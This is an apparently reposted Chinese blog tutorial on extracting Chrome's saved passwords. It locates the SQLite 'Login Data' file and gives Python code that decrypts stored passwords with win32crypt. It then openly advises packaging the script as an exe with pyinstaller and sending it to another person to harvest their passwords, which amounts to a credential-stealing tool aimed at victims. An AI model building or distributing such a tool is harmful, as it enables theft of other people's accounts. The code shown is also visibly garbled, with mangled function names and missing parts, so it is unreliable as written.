python有密码的网站

阅读: 评论:0

python有密码的网站

python有密码的网站

前言

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

现如今浏览器可谓是五花八门,火狐、UC、360、QQ 这些浏览器不论美观还是所谓的安全方面都做的很符合我们需求。但如果你的工作与 IT 挂钩,无疑 Chrome 将是很多朋友的首选。当然这篇文章并不是要介绍 Chrome 浏览器的使用,首先我要讲的是 Chrome 浏览器的密码存储机制。

1.查看 Chrome 存储的密码表单

点击 Chrome 浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在 Chrome 浏览器中输入

2 . SQLite 在哪,又该怎么查询?

那么, Chrome 的密码是以什么方式进行存储的呢?答案就是用 “SQLite” 。首先,进入我的电脑,地址栏中输入以下代码,进入 app 的数据存储路径:

C:UsersAdministratorAppDataLocal

之后进入 chrome 浏览器的密码数据库统一地址为:

GoogleChromeUser DataDefaultLogin Data

3.查看 Chrome 浏览器存储的密码

拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

打开数据库,我们看到有三张表:logins 、meta、 stats,其中 logins 中就存储着你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value,但问题来了 password_value 的字段看着是空的,因为那里被加密了。

CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要以下代码进行安装:

pip install pywin32

4.准备工作做好后,就开始代码环节吧~

import os import shutil import sqlite3 import win32crypt

db_file_path = os.path.viron['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')

tmp_file = os.path.viron['LOCALAPPDATA'], 'sqlite_file') print(tmp_file) if ists(tmp_file):

conn = t(tmp_file) for row ute('select signon_realm,username_value,password_value from logins'):

ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()

通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

之后我们只需要使用 pyinstaller -F xxx.py ,将代码打包成 exe 发给对方,就可以在他的电脑上获取密码了!虽然这个伪黑客很简单甚至有些鸡肋,但往往在一些事情上就是因为自身的大意而导致数据的泄露,在这里也要加强自身保密意识!Chrome 浏览器保存密码虽然很爽,但记在脑子里还是最安全哟

专门建立的Python学习扣扣圈,从零基础开始到Python各领域的项目实战教程、开发工具与电子书籍。与你分享企业当下对于python人才需求及学好python的高效技巧,不停更新最新教程!点击加入我们的python学习圈

本文发布于:2024-02-03 02:01:35,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170689689447901.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:密码   网站   python
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23